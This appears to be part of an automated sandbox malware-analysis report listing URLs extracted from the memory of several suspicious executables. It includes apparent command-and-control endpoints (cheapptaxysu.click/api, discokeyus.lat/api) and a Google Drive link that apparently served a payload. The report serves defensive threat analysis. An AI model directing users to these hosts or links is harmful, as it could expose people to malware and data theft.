Source: 5cda6c90d7.exe, 0000000C.00000002.2878360728.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2766963059.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2800855972.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838754343.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2802169090.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741012427.0000000005E31000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2741357547.0000000005E32000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2795190281.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815002242.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2767444886.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click:443/api
Source: 5cda6c90d7.exe, 0000000C.00000003.2800855972.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838754343.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2802169090.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2795190281.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815002242.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click:443/apibW4Wyy
Source: 5cda6c90d7.exe, 0000000C.00000002.2878360728.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838754343.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815002242.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click:443/apipref(
Source: 5cda6c90d7.exe, 0000000C.00000002.2870509764.00000000017B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cheapptaxysu.click:443/apiy
Source: cc6f25572f.exe, 00000011.00000003.2766911611.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.goo2
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore
Source: cc6f25572f.exe, 00000010.00000003.2756924171.000002B0C1B4A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2754299828.000002B0C1B19000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2754614693.000002B0C1B36000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2756665074.000002B0C1B43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore%
Source: cc6f25572f.exe, 00000011.00000003.2767408832.000001D66991F000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766984113.000001D66991A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstoreLC
Source: cc6f25572f.exe, 00000010.00000003.2756451385.000002B0C1B21000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2756608703.000002B0C1B27000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2755467748.000002B0C1B21000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2756871989.000002B0C1B2E000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2754299828.000002B0C1B19000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstoreR
Source: cc6f25572f.exe, 00000010.00000003.2756451385.000002B0C1B21000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2756608703.000002B0C1B27000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2755467748.000002B0C1B21000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2756871989.000002B0C1B2E000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2754299828.000002B0C1B19000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstorec
Source: cc6f25572f.exe, 00000011.00000003.2766797750.000001D669919000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766596417.000001D669913000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstorecC
Source: chrome.exe, 00000024.00000003.3307931299.00001D5C002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3307959777.00001D5C002E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/cr/report
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: cc6f25572f.exe, 00000011.00000003.2766661259.000001D669926000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766596417.000001D669913000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767237610.000001D66992A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767999680.000001D66992A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/service/update2/crxE0D7
Source: cc6f25572f.exe, 00000011.00000003.2767999680.000001D669920000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767408832.000001D66991F000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766984113.000001D66991A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/service/update2/crxw
Source: cd2469328d.exe, 0000000B.00000003.2663747077.0000000003531000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3652093995.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796121165.00000000055AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: cd2469328d.exe, 0000000B.00000002.2793903700.0000000003530000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2766963059.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2800855972.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2838754343.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2802169090.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2795190281.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2815002242.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2767444886.0000000005E4A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3652093995.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796121165.00000000055AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: https://curl.se/docs/hsts.html
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 142c991362.exe, 00000023.00000003.3812652117.00000000060CE000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3642669886.00000000060CA000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797060863.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3808072506.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796848156.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797424943.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797257563.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796698633.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796355636.000000000096F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/
Source: 142c991362.exe, 00000023.00000003.3772333393.0000000001931000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3787545169.0000000001936000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/.
Source: 142c991362.exe, 0000002C.00000003.3796205694.00000000054B1000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796586628.00000000054B5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/4
Source: 142c991362.exe, 0000002C.00000003.3797060863.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3808072506.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3756684454.000000000096F000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796848156.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3714331641.000000000096F000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797424943.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797257563.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796698633.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796355636.000000000096F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/?
Source: 142c991362.exe, 0000002C.00000003.3796205694.00000000054B1000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3752049278.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3757001497.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796586628.00000000054B5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/The
Source: 142c991362.exe, 0000002C.00000003.3756684454.000000000096F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/api
Source: 142c991362.exe, 0000002C.00000003.3796355636.000000000096F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/apiQ
Source: 142c991362.exe, 0000002C.00000003.3797060863.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3808072506.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796848156.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797424943.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3797257563.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796698633.0000000000970000.00000004.00000020.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3796355636.000000000096F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://discokeyus.lat/d
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F7000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: cc6f25572f.exe, 00000011.00000003.2765967670.000001D669910000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F7000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: cc6f25572f.exe, 00000010.00000003.2753252739.000002B0C1B18000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2753189352.000002B0C1B08000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_defaultF
Source: cc6f25572f.exe, 00000011.00000003.2765967670.000001D669910000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F7000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: cc6f25572f.exe, 00000010.00000003.2753252739.000002B0C1B18000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2753189352.000002B0C1B08000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default8
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-autopush.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767527419.000001D669902000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2767034150.000001D669900000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2766911611.000001D6698FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-5.corp.g
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2766911611.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-preprod.co
Source: cc6f25572f.exe, 00000010.00000003.2753529340.000002B0C1B03000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-preprod.corp.googl
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-preprod.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive-staging.corp.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2767366866.000001D66991B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/
Source: cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B55000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B55000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/%
Source: cc6f25572f.exe, 00000011.00000003.2874665665.000001D66991B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893696860.000001D66991C000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919171490.000001D66990D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/K
Source: cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F7000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2765856821.000001D6698F4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://drive.google.com/uc?id=
Source: cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B26000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919171490.000001D66990D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download
Source: cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B3B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=downloadJ
Source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp String found in binary or memory: https://drive.google.com/uc?id=URL:
Source: cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B1A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2843354005.000002B0C1B80000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2863634118.000002B0C1B77000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B26000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B61000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2917808778.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893918748.000001D66997B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873269821.000001D669978000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/
Source: cc6f25572f.exe, 00000011.00000003.2874665665.000001D66993D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/7
Source: cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B1A000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B26000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/L
Source: cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2874665665.000001D669960000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download
Source: cc6f25572f.exe, 00000011.00000003.2873269821.000001D669978000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download1
Source: cc6f25572f.exe, 00000011.00000003.2917808778.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893918748.000001D66997B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873269821.000001D669978000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download2
Source: cc6f25572f.exe, 00000010.00000003.2843236422.000002B0C1BA8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=downloadb
Source: cc6f25572f.exe, 00000011.00000003.2917808778.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893918748.000001D66997B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873269821.000001D669978000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=downloadi
Source: cc6f25572f.exe, 00000011.00000003.2873269821.000001D669978000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=downloads
Source: cc6f25572f.exe, 00000011.00000003.2917808778.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893918748.000001D66997B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873269821.000001D669978000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2873026803.000001D66996D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/e
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cd2469328d.exe, 0000000B.00000003.2611942159.000000000357C000.00000004.00000800.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2613062845.000000000357A000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691063624.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2691395033.0000000005E7A000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531502589.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3528793955.000000000610E000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 00000023.00000003.3531742688.000000000610B000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626433817.00000000054F9000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3626713720.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, 142c991362.exe, 0000002C.00000003.3627288446.00000000054F7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: https://httpbin.org/ip
Source: b6638733e4.exe, 00000013.00000003.2869803204.00000000075CF000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000003.3009363267.0000000007330000.00000004.00001000.00020000.00000000.sdmp, b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp String found in binary or memory: https://httpbin.org/ipbefore
Source: 142c991362.exe, 0000002C.00000003.3796121165.00000000055AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1AF8000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B61000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2917808778.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893918748.000001D66997B000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893590561.000001D669972000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000002.2919515707.000001D669972000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ipinfo.io/
